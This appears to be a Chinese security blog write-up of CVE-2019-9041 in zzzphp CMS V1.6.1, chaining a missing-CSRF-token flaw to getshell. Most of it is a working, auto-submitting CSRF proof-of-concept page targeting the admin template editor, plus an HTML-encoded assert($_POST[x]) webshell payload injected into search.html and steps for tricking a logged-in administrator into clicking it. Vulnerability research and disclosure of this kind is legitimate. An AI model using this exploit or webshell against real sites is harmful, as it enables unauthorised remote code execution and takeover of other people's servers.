1. 首页
  2. 安全漏洞

CVE-2019-9041 CSRF到Getshell漏洞

前言

无意中看到vulnhub新放了一个Csrf大礼包,集合多个最新的csrf to getshell的cve!所以拿这个系统做一个系列关于Csrf的代码审计之路!今天的cms是zzzphp,漏洞并不是特别复杂,算是开个头吧!

正文

审计的zzzphp系统版本为V1.6.1,首先是一个csrf漏洞,这个漏洞原因在于整个后台没有csrf token保护,导致存在csrf漏洞,所以可以伪造客户端请求!再配合CVE-2019-9041即可getshell!

首先我们使用Burp Suite生成一个CSRF POC

CVE-2019-9041 CSRF到Getshell漏洞

修改如下:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
​
    <form action="http://192.168.1.64/zzzphp/admin015/save.php?act=editfile" method="POST">
​
      <input type="hidden" name="file" value="&#47;zzzphp&#47;template&#47;pc&#47;cn2016&#47;html&#47;search&#46;html" />
​
      <input type="hidden" name="filetext" value="&#123;if&#58;assert&#40;&#36;&#95;POST&#91;x&#93;&#41;&#125;phpinfo&#40;&#41;&#59;&#123;end&#32;if&#125;" />
​
      <input type="submit" value="Submit request" />
​
    </form>
​
    <script>

      document.forms[0].submit();

    </script>
​
  </body></html>

其中生效的payload为html编码的{if:assert($_POST[x])}phpinfo();{end if}。我们把这个poc保存为html文件,在管理员登陆的状态下,诱导管理员点击包含poc的链接,即可在search.html模版中插入恶意代码!

利用过程

csrf诱导点击链接

管理员点击后操作为后台的模版管理 -> 电脑模版 -> cn2016(6) -> html -> search.html 编辑

在模版中添加{if:assert($_POST[x])}xxx;{end if} 保存

访问 http://test.agesec.com/search/

代码执行

文章来源:【安全时代】 原文链接:https://www.agesec.com/3904.html

安全时代全部内容仅适用于网络安全技术爱好者学习研究,学习中请遵循国家相关法律法规。

安全时代全部数据来源互联网,不代表安全时代立场,如侵犯您权益可邮箱联系我们,详情:版权纠纷

发表评论

登录后才能评论